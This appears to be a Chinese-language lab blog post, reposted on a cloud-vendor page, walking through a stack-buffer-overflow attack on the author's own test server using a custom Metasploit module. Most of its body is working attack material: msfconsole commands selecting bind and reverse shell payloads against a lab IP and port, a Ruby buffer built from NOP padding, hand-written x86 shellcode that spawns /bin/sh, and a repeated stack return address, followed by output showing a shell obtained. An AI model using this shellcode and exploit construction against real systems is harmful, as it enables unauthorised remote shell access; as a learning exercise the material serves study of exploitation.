使用metasploit進行棧溢出攻擊-5

來源:互聯網
上載者:User

標籤:style   blog   io   ar   color   os   使用   sp   for   

我們先嘗試使用這個指令碼進行攻擊:

msf > use exploit/linux/myvictimmsf  exploit(myvictim) > set payload linux/x86/set payload linux/x86/metsvc_bind_tcp     set payload linux/x86/shell_reverse_tcp2set payload linux/x86/metsvc_reverse_tcpmsf  exploit(myvictim) > set payload linux/x86/metsvc_bind_tcppayload => linux/x86/metsvc_bind_tcpmsf  exploit(myvictim) > set rhost 10.10.10.133rhost => 10.10.10.133msf  exploit(myvictim) > set rport 7777rport => 7777msf  exploit(myvictim) > exploit[*] Started bind handler[*] Sending 116 byte payload...[*] Exploit completed, but no session was created.

 

server端顯示:

[email protected]:/mnt/hgfs/r/stack$ ./serversocketbindlistenserver is run...acceptThe IP of client is:10.10.10.128The Port of client is:52308close-new_fd 2recvacceptsp=0xbffff488,addr=0xbffff4a4 bytes.

 

顯然攻擊目的沒有,達到,具體原因有兩個(我認為的),第一是傳回值部分不對,第二是payload本身是不是有問題

我們一一修改:

‘MyVictimSever run on linux‘,{‘Platform‘ => ‘Linux‘,‘Ret‘      =>  0xbffff4a4}

第二,我們payload首先採用最先驗證過的運行/bin/sh的shellcode

# Build the buffer for transmission        buf="";        buf  = make_nops(15);        buf+="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"         buf+="\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"         buf+="\x80\xe8\xdc\xff\xff\xff/bin/sh";        #buf+="\xa4\xf4\xff\xbf"        #buf += payload.encoded        buf += [].fill( target.ret,0,100).pack(‘V*‘)

尤其注意最前我們補充的nop 指令的數量是15,我在這裡卡了很久,就是因為指令對齊問題,顯然32位平台上,應該是四位元組對齊的。

 

然後運行

msf  exploit(myvictim) > rexploit[*] Reloading module...[*] Started bind handler[*] Sending 116 byte payload...[*] Exploit completed, but no session was created.

注意這裡啟動並執行是rexploit,這個表示重新載入模組,並執行,因為我剛剛修改過了。

 

可以看到server端:

The IP of client is:10.10.10.128The Port of client is:47336close-new_fd 2acceptrecvsp=0xbffff488,addr=0xbffff4a4 bytes.$ $

 這裡用的shellcode是自己產生的,沒有用payload.encoded,是因為我嘗試用payload,但是沒有任何反應,應該是編碼以後不能執行造成的。

使用metasploit進行棧溢出攻擊-5

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.